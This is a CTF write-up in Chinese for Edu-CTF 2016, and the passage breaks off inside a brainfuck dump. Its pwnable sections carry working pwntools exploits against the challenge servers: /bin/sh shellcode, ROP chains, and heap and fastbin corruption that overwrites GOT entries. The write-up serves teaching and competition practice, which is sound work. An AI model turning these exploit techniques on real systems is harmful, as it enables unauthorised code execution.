Try   HackMD

Edu-CTF 2016 Write-up - public version

Team: CRAX

Lays, freetsubasa, date


🐻 MISC 10 - Rilakkuma

CTF{rilakkuma}
rilakkuma.jpg


😇 Pwnable 150 - Start

Start
[BGM] https://www.youtube.com/watch?v=bBzBZJwW90g
nc ctf.pwnable.tw 8731

會讀 60 bytes 到 stack 上,造成 buffer overflow
先蓋 return address 跳 0x8048087 leak stack address 再做第二次 overflow 跳 shellcode:

#!/usr/bin/env python

from pwn import *   # pip install pwntools

r = remote("ctf.pwnable.tw", 8731)
r.recvuntil(":")

r.sendline("A" * 20 + p32(0x8048087))
stack = u32(r.recv(20)[:4]) + 0x70
log.info(hex(stack))

r.send("A" * 20 + p32(stack) + "\x90" * 15 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80") 

r.sendline("id")
r.interactive()
r.close()

Flag: CTF{Z3r0_1s_st4rt}


😇 Pwnable 250 - Silver Bullet

Create your silver bullet !
[BGM] https://www.youtube.com/watch?v=QCTz2ie6uUg
nc ctf.pwnable.tw 4869

power_up() 中呼叫 strncat 時可以造成 overflow
strncat(bullet->desc,buf,MAX - bullet->power);

先 create description 長度為 47 的 bullet
power_up() 1 byte , strncat 會把 NULL 寫到 power 的最低位,將 power 變成 1

再做一次 power_up() 就可以修改掉 power 的值並 overflow 到 main() 的 return address

最後把 power 改超大殺死 Werewolf 就可以觸發 return

因為是透過 strncat 造成的 overflow ,rop 中不能有 NULL byte
這裡我的利用比較複雜,先 leak puts@got ,接著呼叫 read_int() 把 address 放到 eax,

再跳到 read_int() 中間,執行 read(0, eax, 0x41414141) 讀第二段 ROP Chain
再做 stack migration 並執行 system("/bin/sh")

比較簡單的做法應該是 leak 之後 return to main 再做第二次 overflow

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *   # pip install pwntools

r = remote("ctf.pwnable.tw", 4869)
elf = ELF("./Silver_Bullet")
libc = ELF("./libc-5221435a058b204c3616b10dc7d7e6d0.so")

def create(des):
    r.recvuntil("choice :")
    r.sendline("1")
    r.recvuntil(":")
    r.send(des)
    
def powerup(des):
    r.recvuntil("choice :")
    r.sendline("2")
    r.recvuntil(":")
    r.send(des)

read_int = 0x8048643
puts = 0x80484A8
pop = 0x08048475
leave = 0x080486b5
buf = elf.bss() + 0x300

create("A" * 47)
powerup("\xff") # power = 1

payload = "\xff\xff\xff" # power
payload += p32(buf)      # ebp
# puts(puts@got)
payload += p32(puts)
payload += p32(pop)
payload += p32(0x804AFDC)
# eax = read_int(input) -> read(0, eax, 0x41414141) 
payload += p32(read_int)
payload += p32(0x804864e)
payload += p32(0x41414141)
# migrate
payload += p32(leave)

powerup(payload)    # bof

# kill wolf to return from main()
r.recvuntil("choice :")
r.sendline("3")
r.recvuntil("Oh ! You win !!\n")

libc_base = u32(r.recvline()[:4]) - libc.symbols["puts"]
log.info("libc_base = " + hex(libc_base))

libc_system = libc_base + libc.symbols["system"]
libc_sh = libc_base + next(libc.search("/bin/sh\x00"))

r.sendline(str(buf).ljust(14)) # input for read_int

r.sendline(p32(libc_system) * 2 + p32(libc_sh) * 2 )    # second rop chain

r.interactive()

Flag: CTF{Using_the_silv3r_bull3t_to_pwn_th3_w0rld}


😇 Pwnable 300 - alivenote

Have you finished your howework ?
[BGM] https://www.youtube.com/watch?v=T0LfHEwEXXw
nc ctf.pwnable.tw 55688

跟作業一樣的漏洞,新增 note 時輸入負數可以把 got 上的 address 指向 note 內容
但這題每一個 note 最多只能有 8 byte ,且要是 alphanumic

解法是每執行完幾個指令後就 jo 0x38 跳到下一個 note content 繼續執行
先做出 read(0, esp, xxxx) 再讀取第二段 shellcode:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *   # pip install pwntools

r = remote("ctf.pwnable.tw", 55688)
elf = ELF("./alivenote")

def add(sc, idx):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.send(sc)

def delete(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def padding():
    add("AAAAAAAA", -1)
    add("BBBBBBBB", -1)
    add("CCCCCCCC", -1)

offset = (elf.got["free"] - elf.symbols["note"]) / 4

# eax = buff, ebx = ecx = edx = 0
# create a read(0, buff, xxxx)
add("PYjAXE" "q8", offset)  # push eax ; pop ecx ; push 0x41 ; pop eax
padding()                   # => ecx = buff, eax = 0x41
add("4AHEEE" "q8", 0)       # xor al, 0x41 ; dec eax
padding()                   # => eax = 0xff
add("0AF49E" "q8", 1)       # xor [ecx+0x46], al ; xor al, 0x39
padding()                   # => 0xff ^ '2' = 0xcd, al ^= '9'
add("0AGjzZ" "q8", 2)       # xor [ecx+0x47], al ; push 0x7a ; pop edx
padding()                   # => 0xff ^ '9' ^ 'F' = 0x80, edx = 0x7a
add("j7X44E" "2F", 3)       # push 0x37 ; pop eax; xor al, 0x34 ; int 0x80
                            # => eax = 3

delete(2) # buff = address of note[2]

r.sendline("\x90" * 60 + asm(shellcraft.i386.linux.sh()))
r.interactive()

Flag: CTF{Sh3llcoding_in_th3_n0t3_ch4in}
Ref: https://www.youtube.com/watch?v=9bHibgrjNlc&list=PLTdZQWyXtB8PyKWfJyBM9TmdksIEcNRXl&index=2


😇 Pwnable 500 - Secret of my heart

Find the secret of my heart !
[BGM] https://www.youtube.com/watch?v=i4TqyI9EfzE
nc ctf.pwnable.tw 31337

heart_ctor() 中存在 null-byte overflow:

ret = read_input(h->secret,size);
h->secret[ret] = '\x00';

可以用來蓋掉下一個 freed chunk 的 size

利用方式是

  1. 新增三個 secret A B C:
    [A size=0x40][B size=0x110][C size=0x100]

  2. free 掉 BA
    [freed size=0x40][freed size=0x110][C size=0x100]

  3. add 回 A , 透過 overflow 把 free chunk 的 size 變小,使 chunk 之間產生空隙
    [A size=0x40][freed size=0x100][][C size=0x100]
    ----------------------------^^-----------------

  4. add B'
    [A size=0x40][B' size=0x90][freed size=0x70][][C size=0x100]

  5. add D
    [A size=0x40][B' size=0x90][D size=0x40][freed size=0x30][][C size=0x100]

  6. add EC 跟 top chunk 隔開,並 free C
    此時 C 會透過 prev_size 找到上一個 chunk 跟他做 merge
    由於前面造成的空隙,C 的 prev_size 並沒有被修改,仍然認為上一個 chunk 是 B

    因此 BC 會 merge 在一起
    造成的結果是 free chunk 跟 D 重疊在一起:
    [A size=0x40][freed size=0x210][E size=0x110]
    ---------------[D size=0x40]-----------------

接著透過 malloc() 拿到中間那塊 freed chunk 就可以控制 D 的內容
但是 secret chunk 中只是字串,並沒有 pointer 可拿來修改利用

不過可以配合 fastbin curroption:

  1. 先 add B ,利用重疊的情況把 D 的 size 改成 0x60,同時也要修改到 D 的下一塊的 size ,使其對齊且 prev_inused 為 1
    [A size=0x40][B size=0x100][freed size=0x110][E size=0x110]
    --------------[D size=0x60][D' size=0x90 prev_inused=1]----
    完成後刪除 B
  2. free DD 放進 fastbin:
    [A size=0x40][freed size=0x210][E size=0x110]
    --------------[freed size=0x60]--------------
  3. 再次新增 B 來修改 fastbin 中的 D 的 fd ,使其指向 list[3] 的 name:
    [A size=0x40][B size=0x100][freed size=0x110][E size=0x110]
    ---------------[freed size=0x60 fd->note_list[3].name]-----
    完成後刪除 B
  4. 新增一個 secret ,在 list[3] 的 name 中製造一個假的 fastbin chunk,size 為 0x60,fd 指向 got 上面一點的位置 0x601ffa,此 address + 8 上的 dword 為 0x60,因此可以通過 malloc() 取出 fastbin 時的 size 檢查
  5. 透過 add_secret 新增兩個 size 為 0x60 的 chunk,
    第二次 malloc() 會 retrun 我們上一步偽造的 fd,指向 secret[3].name
    因此我們可以將 free@got 寫到 secret[3].secret
    再將 secret[3] show 出來就可以 leak 出 libc address
  6. 接著再 malloc() 一次會得到位於 0x601ffa 的 chunk,就可以 overwrite got,
    free() 改成 system()
#!/usr/bin/env python

from pwn import *   # pip install pwntools
context.arch = "amd64"

import ctypes
LIBC = ctypes.cdll.LoadLibrary("./libc.so.6")

libc = ELF("./libc.so.6")
r = remote("ctf.pwnable.tw", 31337)

#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#r = remote("localhost", 4000)

LIBC.srand(LIBC.time(0))
list_addr = LIBC.rand() & 0xfffff000
log.info("list_addr=" + hex(list_addr))

def add(name, secret):
    r.recvuntil("choice :")
    r.sendline("1")
    r.recvuntil(": ")
    r.sendline(str(len(secret)))
    r.recvuntil(":")
    if len(name) == 32:
        r.send(name)
    else:
        r.sendline(name)
    r.recvuntil(":")
    r.send(secret)

def delete(idx):
    r.recvuntil("choice :")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def show(idx):
    r.recvuntil("choice :")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))

add("aaaa", "A" * 0x38)     # 0
add("bbbb", "B" * 0x100)    # 1
add("cccc", "C" * 0xf0)     # 2
# [A][B][C]

delete(1)
delete(0)

add("aaaa", "A" * 0x38)     # 0, null byte overflow on freed B's size
# [A][freed B][C]

add("bbbb", "B" * 0x7f)     # 1
add("dddd", "D" * 0x2f)     # 3
# [A][B][D][][C]

delete(1)   # free B
# [A][freed B][D][][C]

add("eeee", "E" * 0x100)     # 1, split from top
# [A][freed B][D][][C][E]

delete(2)   # delete C to make B merge with C, then will be overlapped!

# overwrite D's size to 0x60
add("bbbb", "B" * 0x80 + p64(0x0) + p64(0x61) + "Z" * 88 + p64(0x91) ) # 2
delete(2)
# [A][  B  ][E]
# [A] [D]

# put D into fastbin (0x60)
delete(3)

# overwrite D in fastbin, make its fd points to a fake chunk we will made in heart later
add("bbbb", "B" * 0x80 + p64(0x0) + p64(0x61) + p64(list_addr + 0x30 * 3 + 8)  ) # 1

# create fake chunk in heart[3].name
add(p64(0) + p64(0x60) + p64(0x601ffa) , "FFFF") # 3

# leak libc
add("____", "_" * 0x58)         # 4
add("____", p64(0x602018) * 11) # 5, malloc return an forged address on heart[], so we can overwrite heart[3].secret with free@got

show(3)
r.recvuntil("Secret : ")
libc_free = u64(r.recvline()[:-1].ljust(8, '\0'))
libc_base = libc_free - libc.symbols["free"]
libc_system = libc_base + libc.symbols["system"]
log.info("libc_base=" + hex(libc_base))

# next malloc will return 0x601ffa + 8, so we can overwrite the got and change free() to system()
add("L4ys", "/bin/sh;".ljust(14, "A") + 
        flat([libc_system,
              libc_base + libc.symbols["puts"],
              0,
              0,
              libc_base + libc.symbols["printf"],
              libc_base + libc.symbols["memset"],
              libc_base + libc.symbols["read"],
              0])
        )   # 6
delete(6)   # trigger system("/bin/sh")
r.interactive()

Flag: CTF{It_just_4_s3cr3t_on_the_h34p}
Ref: http://4ngelboy.blogspot.tw/2016/03/advanced-heap-exploitation.html


😇 Pwnable 600 - Kidding

Pwning for kidding !!
[BGM] https://www.youtube.com/watch?v=pn5tnyuHW3g
nc ctf.pwnable.tw 8361

出題者表示想將梗保留起來,故不公開解法
此題將會在即將上線的 wargame site: pwnable.tw 與大家見面 !

Flag: CTF{It_is_just_4_kiddin9}


😇 Pwnable 700 - ☠ Critical Heap ++

It's very crazy ! Don't do it !!
[BGM] https://www.youtube.com/watch?v=qjJFWZAirjI
nc ctf.pwnable.tw 56746


🔄 Reverse 100 - AHK

Try to decrypt the flag.
Notice: The flag doesn't include 'CTF{}' after decryption, but you must add the prefix when submitting to scoreboard.

AutoHotkey 產生的執行檔
從 resource 拉出 src:

 <COMPILER: v1.1.24.04>
:O:@a::04
:O:@b::7f
:O:@c::be
:O:@d::37
:O:@e::73
:O:@f::29
:O:@g::ff
:O:@h::a5
:O:@i::a9
:O:@j::2c
:O:@k::ef
:O:@l::d1
:O:@m::48
:O:@n::22
:O:@o::63
:O:@p::5a
:O:@q::fa
:O:@r::32
:O:@s::fa
:O:@t::98
:O:@u::3b
:O:@v::cd
:O:@w::25
:O:@x::fb
:O:@y::47
:O:@z::d2
:O:@0::05
:O:@1::b5
:O:@2::ba
:O:@3::09
:O:@4::e6
:O:@5::77
:O:@6::68
:O:@7::56
:O:@8::00
:O:@9::15
:O:@_::e4

看起來是跟 flag.enc 對應

寫 script 解回 flag:

d = { 0x04:"a", 0x7f:"b", 0xbe:"c", 0x37:"d", 0x73:"e", 0x29:"f", 0xff:"g", 0xa5:"h", 0xa9:"i", 0x2c:"j", 0xef:"k", 0xd1:"l", 0x48:"m", 0x22:"n", 0x63:"o", 0x5a:"p", 0xfa:"q", 0x32:"r", 0xfa:"s", 0x98:"t", 0x3b:  "u", 0xcd:"v", 0x25:"w", 0xfb:"x", 0x47:"y", 0xd2:"z", 0x05:"0", 0xb5:"1", 0xba:"2", 0x09:"3", 0xe6:"4", 0x77:"5", 0x68:"6", 0x56:"7", 0x00:"8", 0x15:"9", 0xe4:"_", }
print "".join(d[ord(i)] for i in "d105bee6d1e4fa983b37092298fae422090937e47fe6faa9bee45a05a92298fa".decode('hex'))

Flag: CTF{l0c4l_stud3nts_n33d_b4sic_p0ints}


🔄 Reverse 200 - orangr

orange = web
orangr = ?
http://140.113.209.24:10301/orangr/index.php

只有一個登入介面,可以從 http://140.113.209.24:10301/ 找到 orangr.so
逆向後發現是 php extension,用來 check login:

zif_check_user() 中單純檢查 username = pwn_gg
zif_check_pw() 會將密碼轉為大數,透過 libgmp 進行一連串運算並比對結果:

void zif_check_pw(__int64 a1, __int64 a2)
{
  __int64 v2; // rbp@1
  __int64 v3; // rdi@1
  __int64 v4; // rbx@2
  int *p; // r14@3
  int i; // er13@3
  int *pcmp; // r9@6
  int j; // er8@6
  int *p_next; // rsi@6
  int *pcurr; // rax@8
  int sum; // edx@8
  int v12; // ecx@9
  __int64 *v14; // [sp+8h] [bp-130h]@1
  int mpz; // [sp+10h] [bp-128h]@2
  int len; // [sp+14h] [bp-124h]@2
  int mod_result[56]; // [sp+20h] [bp-118h]@3
  __int64 v18; // [sp+108h] [bp-30h]@1

  v2 = a2;
  v3 = *(a1 + 44);
  if ( zend_parse_parameters(v3, "z", &v14) != -1 )
  {
    v4 = *v14;
    __gmpz_init(&mpz, "z");
    __gmpz_set_str(&mpz, v4 + 24, 10LL);
    if ( len > 0 )
    {
      p = mod_result;
      i = 0;
      do
      {
        ++i;
        *p = __gmpz_fdiv_ui(&mpz, 56LL);        // *p = x % 56
        ++p;
        __gmpz_fdiv_q_ui(&mpz, &mpz, 56LL);     // x /= 56
      }
      while ( len > 0 && i != 56 );
    }
    __gmpz_clear(&mpz);
    pcmp = cmp;
    j = 0;
    p_next = &mod_result[1];
    if ( cmp[0] )
    {
LABEL_11:
      *(v2 + 8) = 2;
    }
    else
    {
      while ( ++j != 56 )
      {
        pcurr = mod_result;
        sum = 0;
        do
        {
          v12 = *p_next < *pcurr;
          ++pcurr;
          sum += v12;
        }
        while ( pcurr != p_next );
        ++pcmp;
        ++p_next;
        if ( *pcmp != sum )
          goto LABEL_11;
      }
      *(v2 + 8) = 3;
    }
  }
}

將程式邏輯重新實做交給 KLEE 求出 mod_result,最後當成 56 進位算出密碼:

#include <klee/klee.h>
#include <stdint.h>

unsigned char cmp[56] = {
    0x00, 0x01, 0x02, 0x00, 0x03, 0x04, 0x05, 0x02, 
    0x02, 0x06, 0x03, 0x02, 0x05, 0x08, 0x0A, 0x05, 
    0x04, 0x00, 0x08, 0x09, 0x03, 0x02, 0x15, 0x04, 
    0x0A, 0x02, 0x0D, 0x19, 0x19, 0x0D, 0x18, 0x17, 
    0x05, 0x07, 0x1C, 0x14, 0x13, 0x05, 0x1F, 0x0C, 
    0x0D, 0x04, 0x10, 0x03, 0x02, 0x1B, 0x13, 0x02, 
    0x20, 0x27, 0x11, 0x1D, 0x1C, 0x18, 0x06, 0x23
};

int main(int argc, char *argv[])
{
    unsigned char mod_result[56] = {0};
    klee_make_symbolic(mod_result, 56 , "mod_result");
    for ( int i = 0; i < 56; ++i ) {
        klee_assume(mod_result[i] >= 0 );
        klee_assume(mod_result[i] <= 55 );
    }

    for ( int i = 0; i < 55; ++i )
        klee_assume(mod_result[i] != mod_result[i+1] );

    for ( int i = 1; i < 56; ++i ) {
        int count = 0;
        for ( int j = 0; j < i; ++j ) 
            if ( mod_result[i] < mod_result[j] )
                count++;
        if ( cmp[i] != count )
            return 0;
    }
    klee_assert(0);
        
    return 0;
}
#!/usr/bin/env python
# -*- coding: utf-8 -*-

mod_result = [0x2f,0x0c,0x00,0x37,0x09,0x03,0x02,0x0c,0x2d,0x05,0x28,0x2d,0x0f,0x0b,0x07,0x26,0x2a,0x37,0x22,0x21,0x2d,0x30,0x00,0x2e,0x27,0x36,0x24,0x00,0x01,0x24,0x04,0x06,0x2e,0x2d,0x03,0x0d,0x11,0x2e,0x03,0x2c,0x2a,0x2f,0x29,0x33,0x36,0x10,0x28,0x36,0x0c,0x05,0x2a,0x11,0x21,0x26,0x32,0x0f]

s = 0
for i, n in enumerate(mod_result):
    s += n * 56 ** i
print s

username = pwn_gg
password = 22484314038774183882379870536595842641055898869375067333079702401161192138756198707377056157299919
登入後得到 Flag

Flag: CTF{ORangr_ANDangr_XORangr_NOTangr}


🔄 Reverse 300 - tsubasa

Pure reverse ?
Notice: The flag doesn't include 'CTF{}' in this challenge but you must add the prefix when submitting to scoreboard.
tsubasa

程式是用 movfuscator 產生的 binary

執行後顯示

I splited the secrets and hide the slice in each chunk.
secrets = ''.join(chunks[i] for i in sorted(chunks)) # sorted by chunk size
flag = "CTF{%s}" % secrets[24] + secrets[37] + secrets[52] + secrets[62] + secrets[79] + secrets[94] + + secrets[95] + secrets[129] + secrets[208] + secrets[292] + secrets[364] + secrets[601] + secrets[663] + secrets[764] + secrets[897] + secrets[955] + secrets[1057] + secrets[1179] + secrets[1186] + secrets[1224] + secrets[1324] + secrets[1448] + secrets[1496] + secrets[1545] + secrets[1548] + secrets[1552] + secrets[1674] + secrets[1927] + secrets[1933] + secrets[2019] + secrets[2172] + secrets[2222] + secrets[2271] + secrets[2287] + secrets[2350] + secrets[2360] + secrets[2413] + secrets[2430]

分析 movfuscator binary 的一個技巧是從外部呼叫開始追,觀察後會發現程式會不斷呼叫 malloc()

猜測就是在產生題目所說的 chunk,因此寫個 so 來 hook malloc() 並 dump 出內容:

#include <stdio.h>
#include <dlfcn.h>

static void* (*real_malloc)(size_t)=NULL;
static void* p = NULL;

void *malloc(size_t size)
{
    if ( real_malloc == NULL )
        real_malloc = dlsym(RTLD_NEXT, "malloc");

    if ( p )
        fprintf(stderr, "%s===\n", (char*)p);

    fprintf(stderr, "%d: ", size);
    p = real_malloc(size);

    return p;
}

會發現每個 chunk size 大小都不同,但都是 16 位的字串,共有 1023 個 chunk:

53592: J9y0KePKXopZpxYk
120: RjhzsaaNBTFAtM7e
27968: 6QPS24pfpCC5mTcI
24440: ggWfzbghma9nf42t
9608: mzLOzOHYhjgnqCIB
21168: aAcBZbn4ScmcIMOU
20040: idZC_3qp3yoYtEYL
16936: kon0FMPOWdgvcDL1
49360: tt0mfe8LgTUhE4Lr
1120: 37cNa6807IqARWtH
7192: j3XCMrjQju5Q7vMY
34584: U3ZQ_COQZ6VSG2Lb
6280: GdjpKd3GLCdHnv8_
16504: ANLXIepMWyoNIuqr
...

照題目敘述排序並取出特定的字元組成 Flag:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from commands import getoutput

log = getoutput("LD_PRELOAD=./hook.so ./tsubasa").split("===\n")[1:-1]
chunks = {}
for i in log:
    s = i.split(": ")
    chunks[int(s[0])] = s[1]

secrets = ""
for key in sorted(chunks.iterkeys()):
    secrets += chunks[key]

flag = "CTF{%s}" % (secrets[24] + secrets[37] + secrets[52] + secrets[62] + secrets[79] + secrets[94] + secrets[95] + secrets[129] + secrets[208] + secrets[292] + secrets[364] + secrets[601] + secrets[663] + secrets[764] + secrets[897] + secrets[955] + secrets[1057] + secrets[1179] + secrets[1186] + secrets[1224] + secrets[1324] + secrets[1448] + secrets[1496] + secrets[1545] + secrets[1548] + secrets[1552] + secrets[1674] + secrets[1927] + secrets[1933] + secrets[2019] + secrets[2172] + secrets[2222] + secrets[2271] + secrets[2287] + secrets[2350] + secrets[2360] + secrets[2413] + secrets[2430])
#print secrets
print flag

Flag: CTF{1ns7rum3n74710n_1s_sh4m3ful_8u7_us3ful}


🔄 Reverse 400 - caitlyn

I wanna play a game
nc 140.113.209.24 10003

連上去之後發現是個不知道在幹嘛的 game:

       0   1   2   3   4   5   6   7   8   9

 0     -   -   -   1   3   -   2   -   -   -
 1     1   1   -   2   -   -   3   2   1   1
 2     -   1   -   2   -   4   -   3   -   1
 3     1   1   -   1   1   2   2   -   2   1
 4     -   -   -   -   1   1   3   2   3   1
 5     1   1   -   -   1   -   2   -   2   -
 6     -   2   1   -   1   1   2   2   3   2
 7     2   -   2   2   1   1   -   1   -   1
 8     3   5   -   3   -   1   -   1   2   2
 9     -   -   -   3   1   1   -   -   1   -

經過分析 binary 後得知是踩地雷遊戲
總共分為 9 關,必須將 - 的格子填上數字或是 -1 代表地雷後回傳
每關的板面大小為 height=i * 10, width=i * 10, 地雷數=i * 100 * i / 5

直接從網路上找了個 minesweeper solver 接在一起:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *   # pip install pwntools
from commands import getoutput

r = remote("140.113.209.24", 10003)

def mine(width, height, mine_count):
    r.recvline()
    r.recvline()

    log.info("mines h=%d w=%d c=%d" % (width, height, mine_count))
    board = []
    for i in range(width):
        board.append(r.recvline().split()[1:])
    #pprint(board)
    
    out = ""
    for line in board:
        for col in line:
            out += col

    sol = getoutput("echo '%s' | python mines.py mines %d %d %d" % ( out, width, height, mine_count )).split("\n")[1:-1]

    for y in range(height):
        for x in range(width):
            if sol[y][x] == '1':
                board[y][x] = '-1'
            if board[y][x] == '-':
                board[y][x] = '0'
    #print(board)

    ans = ""
    for y in range(height):
        for x in range(width):
            ans += board[y][x] + " "
    
    r.sendline(ans)

for i in range(1,10):
    mine(i * 10, i * 10, i * 100 * i / 5)

log.success(r.recvline())

Flag: CTF{ZZZ_zzz_zZZ_Zzz_ZzZ_zZz_ZZz_zzZ}


🔄 Reverse 500 - printbf

Here is no service let you pwn, but you can pwn yourself.
hint: https://github.com/HexHive/printbf

丟進 IDA 會發現是一坨屎
後來根據 hint 得知是 printbf 生成的 binary

因此開始參考 printbf 的 source code 並嘗試將 binary 轉回 brainfuck code:

先用 gdb 中斷在 0x402C75 並 dump 在 0x641868 上的 program 內容

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

bf = [u32(_) for _ in group(4, "".join([c for c in read("./dump")]))][2:]
out = ""

i = 0
while i < len(bf):
    op = bf[i]
    if op == 14:
        i += 1
        count = bf[i]
        out +=  '>' * count
    elif op == 15:
        i += 1
        count = (65536 - bf[i])
        out +=  '<' * count
    elif op == 18:
        i += 1
        count = bf[i]
        if count > 0x7f:
            count = (256 - count)
            out +=  '-' * count
        else:
            out +=  '+' * count
    elif op == 9:
        out +=  "["
        i += 5
    elif op == 12:
        out +=  "]"
        i += 1
    elif op == 7:
        out += ","
        i += 3
    elif op == 5:
        out +=  "."
        i += 3
    elif op == 13:
        out +=  "[-]"
        i += 1
    else:
        print "unknown: %d: %d" % (i, op)

    i += 1

brainfuck code:

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>++++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<